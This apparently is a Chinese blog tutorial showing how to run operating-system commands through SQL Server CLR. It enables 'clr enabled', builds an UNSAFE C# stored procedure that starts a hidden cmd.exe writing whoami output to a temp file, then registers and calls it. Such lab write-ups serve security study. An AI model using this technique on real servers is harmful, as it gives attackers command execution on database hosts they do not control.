SQL server CLR命令执行

  • 检查“clr enabled”是否开启
SELECT * FROM sys.configurations WHERE name = 'clr enabled' 

image-20220113104948995

  • 开启“clr enabled”
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'clr enabled', 1;
RECONFIGURE;

image-20220113105045739

  • 生成CLR存储过程

    环境:SQL server 2012R2、visual studio 2019

    • 检查SQL server主机的.NET版本

      本来以为需要查看系统的.NET版本,结果在后续编译过程中遇到问题,查资料后发现SQL server2012对应.NET 3.5版本。

      cd %WINDIR%\Microsoft.NET\Framework\v4.0.30319
      MSBuild /version
      

      如图得到.NET版本为4.0

      image-20220113134506648

    • 在Visual Studio 2019中新建SQL server项目

      项目模板选择SQL server数据库项目

      image-20220113134655325

      设置项目属性,【项目】→【项目属性】。

      目标平台选择对应的SQL server版本,可以勾选创建脚本选项,这样之后每次重新编译项目时都会更新对应的sql文件。

      image-20220113140528763

      SQLCLR中,将权限级别设置为UNSAFE目标框架设置为对应的.NET框架,并选择重新加载项目。

      image-20220113140748201

      新建SQL server存储过程C#项目,【项目】→【添加新项】,依次选择SQL CLR C#SQL CLR C#存储过程,新增项目。

      image-20220113135244413

      以如下代码作为示例,将whoami执行结果写入C:\\Windows\\Temp\\1.txt中。

      using System;
      using System.Data;
      using System.Data.SqlClient;
      using System.Data.SqlTypes;
      using Microsoft.SqlServer.Server;
      using System.Collections.Generic;
      using System.Text;
      public partial class StoredProcedures
      {
          [Microsoft.SqlServer.Server.SqlProcedure]
          public static void SqlStoredProcedure1 ()
          {
              // 在此处放置代码
              System.Diagnostics.Process process = new System.Diagnostics.Process();
              process.StartInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
              process.StartInfo.FileName = "cmd.exe";
              process.StartInfo.Arguments = "/C whoami > C:\\Windows\\Temp\\1.txt";
              process.Start();
          }
      }
      

      编译生成Release版本项目,并得到项目路径。

      image-20220113135847316

      在该路径下找到create.sql文件,得到其中CREATE ASSEMBLY……部分的内容。

      image-20220113140931621

      image-20220113141002045

      至此,准备工作完成。

    • 在SQL server中新建程序集

      新建查询,执行上一步生成的SQL语句,看到OK字样表示成功,如果报错需要根据对应信息排查,多为.NET版本不匹配导致的错误。

      image-20220113141032657

    • 创建存储过程

      CREATE PROCEDURE [dbo].[SqlStoredProcedure1]
      AS EXTERNAL NAME [Database3].[StoredProcedures].[SqlStoredProcedure1]
      

      image-20220113141354634

      注意,AS EXTERNAL后面的内容需要与C#代码中的程序集名称、类名、方法名对应。

    • 调用存储过程

      EXEC [dbo].[SqlStoredProcedure1];
      

      image-20220113141614932

      检查主机,成功将whoami的执行结果写入了C:\\Windows\\Temp\\1.txt中。由于默认情况下是network service权限,所以一开始就选择了Temp目录写入。

      image-20220113141646564

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值